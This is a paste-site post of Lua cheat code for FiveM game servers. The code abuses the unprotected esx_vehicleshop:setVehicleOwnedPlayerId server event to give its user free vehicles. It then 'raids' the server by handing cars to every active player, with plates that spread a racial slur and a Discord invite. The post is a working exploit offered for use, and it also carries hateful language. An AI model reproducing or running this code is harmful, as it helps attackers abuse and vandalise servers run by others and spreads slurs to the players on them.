Give People Cars FiveM


SUBMITTED BY: cplayz

DATE: May 4, 2021, 11:12 a.m.

UPDATED: May 4, 2021, 11:13 a.m.

FORMAT: Text only

SIZE: 1.1 kB

HITS: 596

  1. Give People Cars FiveM
  2. --[[
  3. esx_vehicleshop free vehicle
  4. ]]
  5. local vehicleProps = {
  6. model = GetHashKey('sultanrs'),
  7. plate = 'ABC 123'
  8. }
  9. TriggerServerEvent('esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(PlayerId()), vehicleProps)
  10. --[[
  11. esx_vehicleshop raid server
  12. ]]
  13. local rapeWithVehicleshop = function()
  14. local randomVehicles = {
  15. 'sultan',
  16. 'sultanrs',
  17. 'elegy',
  18. 'comet',
  19. 'comet2',
  20. 'comet3',
  21. 'coquette',
  22. 'bestiagts',
  23. }
  24. for key, value in pairs(GetActivePlayers()) do
  25. for _key, _value in pairs(randomVehicles) do
  26. Citizen.Wait(50)
  27. local rplate = (' Gucci#0001 ON TOP NIGGERS discord.gg/hxDSzvb '..math.random(10000, 99999))
  28. TriggerServerEvent('esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(value), {model = GetHashKey(_value), plate = rplate})
  29. print(GetPlayerName(value)..' - now owns: '.._value..' | with this plate: '..rplate)
  30. end
  31. end
  32. end
  33. Citizen.CreateThread(rapeWithVehicleshop)

comments powered by Disqus